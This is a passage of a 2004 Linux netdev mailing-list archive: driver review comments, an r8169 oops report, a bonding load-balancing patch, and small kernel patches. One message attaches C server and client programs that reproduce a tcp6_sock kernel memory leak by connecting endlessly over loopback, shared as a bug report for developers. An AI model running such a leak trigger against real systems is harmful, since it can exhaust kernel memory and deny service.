supports. */ dev->features |= NETIF_F_SG|NETIF_F_HW_CSUM; if(sp->high_dma_flag == TRUE) dev->features |= NETIF_F_HIGHDMA; #ifdef NETIF_F_TSO dev->features |= NETIF_F_TSO; #endif /* Setting the Tx watch dog timeout value and timer functio. */ dev->tx_timeout = &s2io_tx_watchdog; dev->watchdog_timeo = WATCH_DOG_TIMEOUT; /* Register Device with OS. */ if(register_netdev(dev)) { DBG_PRINT(ERR_DBG, "Device registration failed\n"); goto register_failed; } /* Save PCI state. */ pci_save_state(sp->pdev, sp->config_space); -> the previous comments add no information. [...] init_failed: pci_disable_device(pdev); pci_release_regions(pdev); pci_set_drvdata(pdev, NULL); kfree(dev); -> "free_netdev(dev)" return -ENODEV; } [...] static void __exit s2io_rem_nic(struct pci_dev *pdev) { [...] #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,00) free_netdev(dev); #else kfree(dev); #endif -> please take this #ifdef to a common place (start of file/header). } int s2io_starter(void) { return pci_module_init(&s2io_driver) ? -ENODEV :0; -> no ternary operator needed. -- Ueimor From hadi@cyberus.ca Fri Jan 23 19:15:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 19:15:22 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0O3F47J024407 for ; Fri, 23 Jan 2004 19:15:09 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AkEGA-0003x0-LK; Fri, 23 Jan 2004 22:14:58 -0500 Subject: Re: FW: Submission for S2io 10GbE driver From: jamal Reply-To: hadi@cyberus.ca To: Leonid Grossman Cc: netdev@oss.sgi.com In-Reply-To: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> References: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1074914062.1036.39.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 23 Jan 2004 22:14:22 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2715 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Fri, 2004-01-23 at 16:22, Leonid Grossman wrote: > Hi all, > Please fund attached a source code for S2io 10GbE adapter (with some > disclaimers below). > Send me your comments/suggestions on the source please, and we will > address the code changes (if any) in real time. Would be interesting to see perfomance numbers. BTW, your specs seem to indicate two interesting features: - Support for up to 32 concurrent PCI-X split transactions - Adaptive Interrupt Coalescence can you elaborate on these? Also indent -kr -i8 may help. cheers, jamal From harisri@bigpond.com Fri Jan 23 20:21:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 20:21:25 -0800 (PST) Received: from gizmo12bw.bigpond.com (gizmo12bw.bigpond.com [144.140.70.22]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0O4LA7J028519 for ; Fri, 23 Jan 2004 20:21:11 -0800 Received: (qmail 13093 invoked from network); 24 Jan 2004 04:01:48 -0000 Received: from unknown (HELO bwmam02.bigpond.com) (144.135.24.72) by gizmo12bw.bigpond.com with SMTP; 24 Jan 2004 04:01:48 -0000 Received: from bzpp-p-144-138-166-51.prem.tmns.net.au ([144.138.166.51]) by bwmam02.bigpond.com(MAM REL_3_4_2 11/77348625) with SMTP id 77348625; Sat, 24 Jan 2004 14:21:02 +1000 From: Srihari Vijayaraghavan To: Francois Romieu Subject: Re: [update] 2.6.2-rc1 - Realtek 8169 patches Date: Sat, 24 Jan 2004 15:22:18 +1100 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com References: <20040122234725.A8109@electric-eye.fr.zoreil.com> In-Reply-To: <20040122234725.A8109@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401241522.18369.harisri@bigpond.com> X-archive-position: 2716 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Hello Francois, On Friday 23 January 2004 09:47, Francois Romieu wrote: > An updated version of the r8169 patches against 2.6.2-rc1 is available. > > Individual files: > http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.2-rc1 I have applied your patches (all of them) and the kernel oops when I ping to that machine from a remote machine :-(. r8169 Gigabit Ethernet driver 1.2 loaded eth1: RTL8169 at 0xffffff000022e000, 00:0d:61:15:23:e6, IRQ 5 eth1: Auto-negotiation Enabled. eth1: 100Mbps Full-duplex operation. skput:over: ffffffffa00e32d8:3068 put:3068 dev:eth1----------- [cut here ] ----- Kernel BUG at skbuff:88 invalid operand: 0000 [1] CPU 0 Pid: 0, comm: swapper Not tainted RIP: 0010:[] {skb_over_panic+50} RSP: 0018:ffffffff80370ff8 EFLAGS: 00010292 RAX: 0000000000000036 RBX: 0000f8650101f865 RCX: 0000000000000000 RDX: 00000000000003f9 RSI: 0000000000000000 RDI: ffffffff802c0260 RBP: 000001003e5c2320 R08: 0000000000000000 R09: 0000000000000003 R10: 00000000ffffffff R11: 0000000000000000 R12: ffffff000022e000 R13: 0000000000000bfc R14: 0000010000091010 R15: 0000000000000001 FS: 00000000005144a0(0000) GS:ffffffff8036d0c0(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 0000002a95d36fe8 CR3: 0000000000101000 CR4: 00000000000006a0 Process swapper (pid: 0, stackpage=ffffffff802b8be0) Stack: 0000000000000292 ffffffffa00e32e0 0000000000000bfc 000001003e5c2000 000001003f5d21c0 0000000000008001 0000000000000014 ffffff000022e000 000001003e5c2320 000001003e5c2000 Call Trace: {:r8169:rtl8169_rx_interrupt+416} {:r8169:rtl8169_interrupt+101} {hand {do_IRQ+147} {default_idle+0} {ret_from_intr+0} {thread_ret {default_idle+32} {cpu_idle+26} {start_kernel+322} Code: 0f 0b c2 c9 29 80 ff ff ff ff 58 00 48 83 c4 08 c3 66 66 66 RIP {skb_over_panic+50} RSP <0>Kernel panic: Aiee, killing interrupt handler! In interrupt handler - not syncing I will try to track down which one of your patch introduces the regression. > The first patch of the series probably wants to go directly to 2.6.x/2.4.x. > > Please Cc: netdev@oss.sgi.com on success/failure. Thanks Hari From leonid.grossman@s2io.com Fri Jan 23 21:11:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 21:12:02 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0O5Bl7J030463 for ; Fri, 23 Jan 2004 21:11:47 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0O5B9FG008422; Sat, 24 Jan 2004 00:11:09 -0500 (EST) Received: from lgt40 ([192.168.0.4]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0O5B7KK020289; Sat, 24 Jan 2004 00:11:08 -0500 (EST) From: "Leonid Grossman" To: Cc: Subject: RE: FW: Submission for S2io 10GbE driver Date: Fri, 23 Jan 2004 21:10:28 -0800 Message-ID: <000001c3e238$62efbb30$0400a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <1074914062.1036.39.camel@jzny.localdomain> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -105.8 X-Spam-Outlook-Score: () X-Spam-Features: BAYES_01,IN_REP_TO,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2717 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev Hi Jamal, Please see answers below. Thanks, Leonid > Would be interesting to see performance numbers. Your mileage will vary... Speaking of generic Linux and windows platforms (that can't take advantage of many of the advanced features in the ASIC yet), we have demonstrated 7.5 Gbps on Linux at SC2003, and 7.2 Gbps on Windows at the earlier Gartner show. These numbers are for a 1.5 GHz 2-way Itanium in one-to-many setup via 10GbE switch. Back-to-back numbers between two systems are somewhat lower, pushing 6Gbps. Opteron numbers are surprisingly close, 32-bit systems are slower since FSB is a bottleneck. These numbers are with Jumbos and/or LSO, with 1500 bytes frames performance is much lower... We have a complete matrix that normally goes to customers, but it is not on a generic website yet. The numbers are for TCP benchmarks - Chariot, nttcp, Iometer; raw performance is higher and pushing pci-x 133 theoretical limit. PCI-X 133 bus is still a bottleneck for 10GbE for now, at least till PCI-X 266 systems show up. Hopefully, it will not be long... In Linux, there are couple performance issues that we see - transmit performance is noticeably worse than in Windows - checksum in 2.4 seems to be calculated by the host even if the device enables checksum offload - Large Send Offload in 2.6 (no LSO in 2.4) give much smaller boost comparing to Windows; on some systems there is no gain from LSO at all. > BTW, your specs seem to indicate two interesting features: There are several hw features and assists that current Linux driver doesn't have since generic systems can't take advantage of yet. > - Support for up to 32 concurrent PCI-X split transactions The device can match bridge split capabilities for up to 32 splits, for better PCI-X bus utilization - the bus is a major bottleneck and we are trying to utilize it very efficiently; splits just one part of this. > - Adaptive Interrupt Coalescence There are several interrupt schemes, in the utilization scheme the device can be programmed to automatically adjust interrupt rate based upon link utilization, independently for tx and rx interrupts. For instance, if the utilization is in single percentage digits then the device can be programmed to get an interrupt per every packet since interrupt rate doesn't matter much; If the utilization gets closer to 100%, it will probably make sense to program device for, say, one interrupt per 200 packets - the number will somewhat vary for different systems and packet sizes. > > can you elaborate on these? > > Also indent -kr -i8 may help. > > cheers, > jamal > From romieu@fr.zoreil.com Sat Jan 24 02:19:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 02:20:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OAJv7J007510 for ; Sat, 24 Jan 2004 02:19:58 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0OAG2gf030242; Sat, 24 Jan 2004 11:16:03 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0OAG1o1030241; Sat, 24 Jan 2004 11:16:01 +0100 Date: Sat, 24 Jan 2004 11:16:01 +0100 From: Francois Romieu To: Srihari Vijayaraghavan Cc: netdev@oss.sgi.com Subject: Re: [update] 2.6.2-rc1 - Realtek 8169 patches Message-ID: <20040124111601.A30087@electric-eye.fr.zoreil.com> References: <20040122234725.A8109@electric-eye.fr.zoreil.com> <200401241522.18369.harisri@bigpond.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200401241522.18369.harisri@bigpond.com>; from harisri@bigpond.com on Sat, Jan 24, 2004 at 03:22:18PM +1100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2718 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Srihari Vijayaraghavan : [...] > I have applied your patches (all of them) and the kernel oops when I ping to > that machine from a remote machine :-(. Ok, can you publish/send me offlist an objdump -S of your r8169 module + r8169.c source ? [...] > I will try to track down which one of your patch introduces the regression. Thanks, a binary search can be done in 5~6 different rounds. -- Ueimor From per@hedeland.org Sat Jan 24 04:33:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 04:34:09 -0800 (PST) Received: from pluto.hedeland.org (as1-2-8.mal.s.bonet.se [194.236.4.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OCXr7J015541 for ; Sat, 24 Jan 2004 04:33:54 -0800 Received: from pluto.hedeland.org (localhost [127.0.0.1]) by pluto.hedeland.org (8.12.10/8.12.10) with ESMTP id i0OCXiYN021516 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 24 Jan 2004 13:33:44 +0100 (CET) (envelope-from per@pluto.hedeland.org) Received: (from per@localhost) by pluto.hedeland.org (8.12.10/8.12.10/Submit) id i0OCXhqk021515; Sat, 24 Jan 2004 13:33:43 +0100 (CET) (envelope-from per) Date: Sat, 24 Jan 2004 13:33:43 +0100 (CET) From: Per Hedeland Message-Id: <200401241233.i0OCXhqk021515@pluto.hedeland.org> To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] [bonding 2.4] Fixes for balance-xor and balance-rr In-Reply-To: <200401112145.i0BLjGWJ095607@pluto.hedeland.org> X-archive-position: 2719 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: per@hedeland.org Precedence: bulk X-list: netdev Per Hedeland wrote: > >However when looking at this I realized that the xor mode has a pretty >serious bug/flaw in the fault-tolerance department: The modulus is done >with the total number of slaves, and slaves that are down are only >skipped in that find-slave logic. I.e. if you (e.g.) have a bond with 3 >links where link 1 is down, link 2 will get 2/3 of the traffic and link >3 get 1/3 - not good I think. Enclosed is a fix for this against current netdev-2.4. I also noticed that there seems to be another serious bug in bond_xmit_xor(): If all slaves are down, it will neither dev_queue_xmit() nor dev_kfree_skb(). Ditto for bond_xmit_roundrobin() - the patch should fix both. Comments appreciated. Also enclosed are some stats from a balance-xor-ip bond with 4 slaves (eth2-eth5) where the first two are down - as expected, the patch changes the transmit load distribution from ~ 75/25 to close to 50/50 on the two remaining ones (eth4, eth5). --Per Hedeland per@hedeland.org ==================================================================== Before fix: eth4 Link encap:Ethernet HWaddr 00:C0:95:C9:1A:28 UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1 RX packets:451676 errors:0 dropped:0 overruns:0 frame:0 TX packets:300809 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:192971475 (184.0 Mb) TX bytes:145298331 (138.5 Mb) Interrupt:20 Base address:0x5400 eth5 Link encap:Ethernet HWaddr 00:C0:95:C9:1A:28 UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1 RX packets:2 errors:0 dropped:0 overruns:0 frame:0 TX packets:169355 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:208 (208.0 b) TX bytes:51126318 (48.7 Mb) Interrupt:21 Base address:0x7000 ------------------------------------------------------------------- After fix: eth4 Link encap:Ethernet HWaddr 00:C0:95:C9:1A:28 UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1 RX packets:453036 errors:0 dropped:0 overruns:0 frame:0 TX packets:223884 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:193532059 (184.5 Mb) TX bytes:93244842 (88.9 Mb) Interrupt:20 Base address:0x5400 eth5 Link encap:Ethernet HWaddr 00:C0:95:C9:1A:28 UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1 RX packets:2 errors:0 dropped:0 overruns:0 frame:0 TX packets:249256 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:208 (208.0 b) TX bytes:103875515 (99.0 Mb) Interrupt:21 Base address:0x7000 ==================================================================== diff -ruN a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Fri Jan 23 18:03:31 2004 +++ b/drivers/net/bonding/bond_main.c Fri Jan 23 18:12:23 2004 @@ -2010,6 +2010,7 @@ struct slave *slave, *oldcurrent; int do_failover = 0; int delta_in_ticks; + int up_slaves = 0; int i; read_lock(&bond->lock); @@ -2046,6 +2047,7 @@ case BOND_LINK_UP: /* the link was up */ if (link_state == BMSR_LSTATUS) { /* link stays up, nothing more to do */ + up_slaves++; break; } else { /* link going down */ slave->link = BOND_LINK_FAIL; @@ -2115,6 +2117,7 @@ } else { /* link up again */ slave->link = BOND_LINK_UP; + up_slaves++; slave->jiffies = jiffies; printk(KERN_INFO DRV_NAME ": %s: link status up again after %d " @@ -2163,6 +2166,7 @@ if (slave->delay == 0) { /* now the link has been up for long time enough */ slave->link = BOND_LINK_UP; + up_slaves++; slave->jiffies = jiffies; if (bond->params.mode == BOND_MODE_8023AD) { @@ -2237,6 +2241,8 @@ write_unlock(&bond->curr_slave_lock); } + bond->up_slave_cnt = up_slaves; + re_arm: if (bond->params.miimon) { mod_timer(&bond->mii_timer, jiffies + delta_in_ticks); @@ -2270,6 +2276,7 @@ struct slave *slave, *oldcurrent; int do_failover = 0; int delta_in_ticks; + int up_slaves = 0; int i; read_lock(&bond->lock); @@ -2303,6 +2310,7 @@ slave->link = BOND_LINK_UP; slave->state = BOND_STATE_ACTIVE; + up_slaves++; /* primary_slave has no meaning in round-robin * mode. the window of a slave being up and @@ -2349,7 +2357,9 @@ if (slave == oldcurrent) { do_failover = 1; } - } + } else { + up_slaves++; + } } /* note: if switch is in round-robin mode, all links @@ -2379,6 +2389,8 @@ write_unlock(&bond->curr_slave_lock); } + bond->up_slave_cnt = up_slaves; + re_arm: if (bond->params.arp_interval) { mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); @@ -3601,14 +3613,14 @@ } } -out: - read_unlock(&bond->lock); - return 0; - free_out: /* no suitable interface, frame not sent */ dev_kfree_skb(skb); goto out; + +out: + read_unlock(&bond->lock); + return 0; } /* @@ -3665,47 +3677,42 @@ { struct bonding *bond = bond_dev->priv; struct ethhdr *data = (struct ethhdr *)skb->data; - struct slave *slave, *start_at; + struct slave *slave; + int slave_cnt; int slave_no; int i; read_lock(&bond->lock); - if (!BOND_IS_OK(bond)) { + slave_cnt = bond->up_slave_cnt; + if (!BOND_IS_OK(bond) || slave_cnt == 0) { goto free_out; } - slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; + slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % slave_cnt; bond_for_each_slave(bond, slave, i) { - slave_no--; - if (slave_no < 0) { - break; - } - } - - start_at = slave; - - bond_for_each_slave_from(bond, slave, i, start_at) { if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); + slave_no--; + if (slave_no < 0) { + skb->dev = slave->dev; + skb->priority = 1; + dev_queue_xmit(skb); - goto out; + goto out; + } } } -out: - read_unlock(&bond->lock); - return 0; - free_out: /* no suitable interface, frame not sent */ dev_kfree_skb(skb); - goto out; + +out: + read_unlock(&bond->lock); + return 0; } /* diff -ruN a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Fri Jan 23 18:14:51 2004 +++ b/drivers/net/bonding/bonding.h Fri Jan 23 18:15:39 2004 @@ -180,6 +180,7 @@ struct slave *current_arp_slave; struct slave *primary_slave; s32 slave_cnt; /* never change this value outside the attach/detach wrappers */ + s32 up_slave_cnt; /* never change outside periodic monitors */ rwlock_t lock; rwlock_t curr_slave_lock; struct timer_list mii_timer; From erik@hensema.net Sat Jan 24 05:13:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 05:13:24 -0800 (PST) Received: from scrat.hensema.net (scrat.hensema.net [62.212.82.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ODDA7J016655 for ; Sat, 24 Jan 2004 05:13:10 -0800 Received: from dexter.hensema.net (cc78409-a.hnglo1.ov.home.nl [212.120.97.185]) by scrat.hensema.net (8.12.7/8.12.7/SuSE Linux 0.6) with ESMTP id i0ODD8in015083 for ; Sat, 24 Jan 2004 14:13:08 +0100 Received: from bender.home.hensema.net (root@bender.ipv6.hensema.net [IPv6:2001:888:10a1:0:202:44ff:fe69:60f5]) by dexter.hensema.net (8.12.7/8.12.7) with ESMTP id i0ODD9B5027040 for ; Sat, 24 Jan 2004 14:13:09 +0100 Received: from bender.home.hensema.net (erik@localhost [127.0.0.1]) by bender.home.hensema.net (8.12.10/8.12.7) with ESMTP id i0ODD7du002689 for ; Sat, 24 Jan 2004 14:13:07 +0100 Received: (from erik@localhost) by bender.home.hensema.net (8.12.10/8.12.7/Submit) id i0ODD7F8002688 for netdev@oss.sgi.com; Sat, 24 Jan 2004 14:13:07 +0100 Date: Sat, 24 Jan 2004 14:13:07 +0100 From: Erik Hensema To: netdev@oss.sgi.com Subject: Demonstration code on how to trigger tcp6_sock leak Message-ID: <20040124131307.GB2666@bender.home.hensema.net> Reply-To: erik@hensema.net Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="fdj2RfSjLxBAspz7" Content-Disposition: inline User-Agent: Mutt/1.5.5i X-archive-position: 2720 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: erik@hensema.net Precedence: bulk X-list: netdev --fdj2RfSjLxBAspz7 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, I wrote some quick&dirty code showing the tcp6_sock leak in Linux 2.6.x. The server part listens for incoming connections and accept()'s them. The client will simply connect() to the server and close the connection. Do a 'grep tcp6_sock /proc/slabinfo' before and after running the programs, and you will clearly see the leak. -- Erik Hensema (erik@hensema.net) --fdj2RfSjLxBAspz7 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="server.c" #include #include #include #include #include #define port 4000 int main( int argc, char **argv ) { int fd; struct sockaddr_in6 myaddr; struct sockaddr addr; socklen_t len; int i; if((fd = socket(PF_INET6, SOCK_STREAM, 0)) < 0) { perror("socket"); } bzero(&myaddr, sizeof(myaddr)); myaddr.sin6_family = AF_INET6; myaddr.sin6_port = htons(port); myaddr.sin6_addr = in6addr_any; if(bind(fd, (struct sockaddr *)&myaddr, sizeof(myaddr)) < 0) { perror("bind"); } if(listen(fd, 32) < 0) { perror("listen"); } for(i = 0; i < 1000; i++) { if(accept(fd, &addr, &len) < 0) { perror("accept"); } else { printf("Accept: %d\n", i); } } return 0; } --fdj2RfSjLxBAspz7 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="client.c" #include #include #include #include #include #include #include #define port 4000 int main( int argc, char **argv ) { int fd; struct sockaddr_in6 srvaddr; int i; bzero(&srvaddr, sizeof(srvaddr)); srvaddr.sin6_family = AF_INET6; srvaddr.sin6_port = htons(port); srvaddr.sin6_addr = in6addr_loopback; for(i = 0; 1; i++) { if((fd = socket(PF_INET6, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(0); } if(connect(fd, (const struct sockaddr *)&srvaddr, sizeof(srvaddr)) < 0) { perror("connect"); } else { printf("Connect %d\n", i); close(fd); } } return 0; } --fdj2RfSjLxBAspz7-- From ak@suse.de Sat Jan 24 07:32:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 07:33:01 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OFWb7J020537 for ; Sat, 24 Jan 2004 07:32:37 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id DE965977A6; Sat, 24 Jan 2004 15:58:11 +0100 (CET) Date: Sat, 24 Jan 2004 15:58:09 +0100 From: Andi Kleen To: "Leonid Grossman" Cc: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: FW: Submission for S2io 10GbE driver Message-Id: <20040124155809.15fe167e.ak@suse.de> In-Reply-To: <000001c3e238$62efbb30$0400a8c0@S2IOtech.com> References: <1074914062.1036.39.camel@jzny.localdomain> <000001c3e238$62efbb30$0400a8c0@S2IOtech.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2721 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Fri, 23 Jan 2004 21:10:28 -0800 "Leonid Grossman" wrote: > In Linux, there are couple performance issues that we see > - transmit performance is noticeably worse than in Windows In Linux 2.6 with TSO? Other than that I would suggest to enable oprofile on 2.6 and post the profile numbers on the list. > - checksum in 2.4 seems to be calculated by the host even if the device > enables checksum offload You have to use sendfile() for TX checksum off load. Without that the data needs to be copied anyways and a copy+csum is about the same cost as a simple copy. > - Large Send Offload in 2.6 (no LSO in 2.4) give much smaller boost > comparing to Windows; on some systems there is no gain from LSO at all. You mean TSO? Are you sure the test programs submitted big enough buffers to the TCP stack? -Andi From bart@samwel.tk Sat Jan 24 09:06:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 09:06:21 -0800 (PST) Received: from samwel.tk (kluizenaar.xs4all.nl [213.84.184.247]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OH647J025823 for ; Sat, 24 Jan 2004 09:06:07 -0800 Received: from localhost ([127.0.0.1] helo=samwel.tk) by samwel.tk with esmtp (Exim 4.30) id 1AkREM-00052V-C5; Sat, 24 Jan 2004 18:05:58 +0100 Message-ID: <4012A5F5.2000804@samwel.tk> Date: Sat, 24 Jan 2004 18:05:57 +0100 From: Bart Samwel User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031221 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] [TRIVIAL] "unsigned char"/"char" consistency? Content-Type: multipart/mixed; boundary="------------080708070903020808070107" X-SA-Exim-Mail-From: bart@samwel.tk X-SA-Exim-Scanned: No; SAEximRunCond expanded to false X-archive-position: 2722 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bart@samwel.tk Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------080708070903020808070107 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi there, I was just nosing around and I noticed a minor inconsistency in the usage of unsigned chars in skbuff push/pull functions. Almost all of these functions return unsigned chars, but there are two that return regular chars. Of course, this might be intentional, but AFAICS it probably isn't. If nobody has a reason why this must be like this, I suggest changing those two functions to return unsigned char as well. I've attached a patch that does this, it's against 2.6.2-rc1. -- Bart --------------080708070903020808070107 Content-Type: text/x-patch; name="unsigned_char_skbuff_pull.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="unsigned_char_skbuff_pull.patch" diff -Naur linux-2.6.2-rc1/include/linux/skbuff.h linux-2.6.2-rc1-withunsigneds/include/linux/skbuff.h --- linux-2.6.2-rc1/include/linux/skbuff.h 2004-01-09 07:59:44.000000000 +0100 +++ linux-2.6.2-rc1-withunsigneds/include/linux/skbuff.h 2004-01-24 16:40:42.000000000 +0100 @@ -871,7 +871,7 @@ return skb->data; } -static inline char *__skb_pull(struct sk_buff *skb, unsigned int len) +static inline unsigned char *__skb_pull(struct sk_buff *skb, unsigned int len) { skb->len -= len; BUG_ON(skb->len < skb->data_len); @@ -895,7 +895,7 @@ extern unsigned char *__pskb_pull_tail(struct sk_buff *skb, int delta); -static inline char *__pskb_pull(struct sk_buff *skb, unsigned int len) +static inline unsigned char *__pskb_pull(struct sk_buff *skb, unsigned int len) { if (len > skb_headlen(skb) && !__pskb_pull_tail(skb, len-skb_headlen(skb))) --------------080708070903020808070107-- From c-d.hailfinger.kernel.2004@gmx.net Sat Jan 24 09:12:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 09:12:19 -0800 (PST) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OHBx7J026303 for ; Sat, 24 Jan 2004 09:12:00 -0800 Received: (qmail 23277 invoked by uid 65534); 24 Jan 2004 17:11:48 -0000 Received: from stud212116.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.116) by mail.gmx.net (mp012) with SMTP; 24 Jan 2004 18:11:48 +0100 X-Authenticated: #21910825 Message-ID: <4012A738.2060009@gmx.net> Date: Sat, 24 Jan 2004 18:11:20 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: marcelo.tosatti@cyclades.com CC: Linux Kernel Mailing List , netdev@oss.sgi.com, Jeff Garzik , Manfred Spraul Subject: [PATCH] [2.4] forcedeth network driver X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------060904090502080004040101" X-archive-position: 2723 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------060904090502080004040101 Content-Type: text/plain; 